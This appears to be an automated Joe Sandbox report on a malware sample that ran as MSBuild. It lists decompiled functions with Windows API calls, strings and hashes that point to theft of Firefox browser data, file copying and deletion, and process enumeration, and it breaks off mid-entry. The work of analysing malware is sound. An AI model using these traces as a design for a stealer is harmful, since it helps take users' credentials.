GetEnvironmentVariableA.KERNEL32(00D54D08,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A0BD
LoadLibraryA.KERNEL32(00D55B88,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A146

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00D40578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

SetEnvironmentVariableA.KERNEL32(00D54D08,00000000,00000000,?,004212D8,?,00410153,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AFE), ref: 0040A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A0B2, 0040A0C6, 0040A0DC

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 07a49a677ead869cdb048d5ff3e3ebc0c5f58c9520126a3c0d38a2b5359966bc
Instruction ID: 8fd865f7776555e91364b6e3317f0d6dd22ba45ac697d56d5a10bd23e480980a
Opcode Fuzzy Hash: 07a49a677ead869cdb048d5ff3e3ebc0c5f58c9520126a3c0d38a2b5359966bc
Instruction Fuzzy Hash: F9418DB9941204BFCB04EFE5ED45BEA33B6BB0A305F05112EF405A32A0DB385985CB67

Function 00406BE0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@Jn@,@Jn@), ref: 00406C9F

Strings

Jn@, xrefs: 00406BED, 00406C0D, 00406C8F
Jn@, xrefs: 00406C1D, 00406C39, 00406C88, 00406C98, 00406C04, 00406C28, 00406C33
@Jn@, xrefs: 00406C80, 00406C83

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @Jn@$Jn@$Jn@
API String ID: 544645111-1180188686
Opcode ID: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction ID: b746c2a28f05bbd6b1460d210bf7098c9bc173f160aa6dfc6dfdc57a011f18e7
Opcode Fuzzy Hash: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction Fuzzy Hash: FA213374E04208EFEB04CF84C544BAEBBB5FF48304F1181AAD54AAB381D3399A91DF85

Function 0040A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,00D49E78,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A2E1
lstrlenA.KERNEL32(00000000,00000000), ref: 0040A3FF
lstrlenA.KERNEL32(00000000), ref: 0040A6BC

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040A743

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: b7176928946b1c5edd0e3b87ac6ff903d2ed7c9f838d33a1febf9b44a64ae9bf
Instruction ID: ddd88d02e0d3355bf8470c19a8c4de6788c323a7c51f3fd4630425147b47cfd6
Opcode Fuzzy Hash: b7176928946b1c5edd0e3b87ac6ff903d2ed7c9f838d33a1febf9b44a64ae9bf
Instruction Fuzzy Hash: 85E134728111089ACB04FBA5DD91EEE733CAF14314F50815EF51672091EF386A9ECB7A

Function 0040D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,00D49E78,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D801
lstrlenA.KERNEL32(00000000), ref: 0040D99F
lstrlenA.KERNEL32(00000000), ref: 0040D9B3
DeleteFileA.KERNEL32(00000000), ref: 0040DA32

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3c5ceba100194b79545c3d551ce876f4aace018116f61e714243a0a1ba28ee76
Instruction ID: 30f7704c13366a17925c5eaa4a94e79927efa66a8a92483c7baa761e0d0dbf9b
Opcode Fuzzy Hash: 3c5ceba100194b79545c3d551ce876f4aace018116f61e714243a0a1ba28ee76
Instruction Fuzzy Hash: 848122719111089BCB04FBE1DD52EEE7339AF14314F50452EF407A6091EF386A9ACB7A

Function 0040F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421580,00420D92), ref: 0040F54C
lstrlenA.KERNEL32(00000000), ref: 0040F56B

Strings

^userContextId=4294967295, xrefs: 0040F59C
moz-extension+++, xrefs: 0040F5AD

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: d3b44e1c7357894c17caad5586f291365151dfe96f06c146e49f3581e0b5dc00
Instruction ID: 431312e06e4e118a9a68feb07ac8eaa96768a2afdec7ba1937323e72019175af
Opcode Fuzzy Hash: d3b44e1c7357894c17caad5586f291365151dfe96f06c146e49f3581e0b5dc00
Instruction Fuzzy Hash: 19516575D11108AACB04FBB1DC52DED7338AF54314F40852EF81667191EE386B9ACBAA

Function 00418680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Process32First.KERNEL32(?,00000128), ref: 004186DE
Process32Next.KERNEL32(?,00000128), ref: 004186F3

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

CloseHandle.KERNEL32(?), ref: 00418761

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction ID: 8f5abf7c5654a811b9b3f094c7d3948ba22bca0c3321aba4e2188e2e86b1b5ea
Opcode Fuzzy Hash: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction Fuzzy Hash: F7315E71902218ABCB24EF95DC45FEEB778EF45714F10419EF10AA21A0DF386A85CFA5

Function 00414F40 Relevance: 6.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414F7A
lstrcatA.KERNEL32(?,00421070), ref: 00414F97
lstrcatA.KERNEL32(?,00D54FE8), ref: 00414FAB
lstrcatA.KERNEL32(?,00421074), ref: 00414FBD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: fee2ad206d2dfc0e98077b290248d81ad00eb14900011837df4a2dd7ccce19b5
Instruction ID: b2f553c39a7574946245b6cc91baeb706efbd34a5fe7bafabb54328a91102e52
Opcode Fuzzy Hash: fee2ad206d2dfc0e98077b290248d81ad00eb14900011837df4a2dd7ccce19b5
Instruction Fuzzy Hash: FA213DBAA402047BC714FBF0EC46FED333DAB55300F40455DB649920C1EE7896C88B96

Function 00416AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00D40578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,00D40578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: aa120b36cfb137c48c1a566cacac99fef06b1c93e7411723dec979bce85ea544
Instruction ID: 3c4b1c3760862ff095f4b16c882d5da3ff279df4080b6ba6633acb61265b60b7
Opcode Fuzzy Hash: aa120b36cfb137c48c1a566cacac99fef06b1c93e7411723dec979bce85ea544
Instruction Fuzzy Hash: E9F0BE34A84219AFE710EBE0DC06BFE7B35EF04381F11451AF502A11C0CBB8A581D65F

Function 00406D40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

`o@, xrefs: 00406DD2, 00406E94, 00406EAF, 00406DAE, 00406E5E

Memory Dump Source

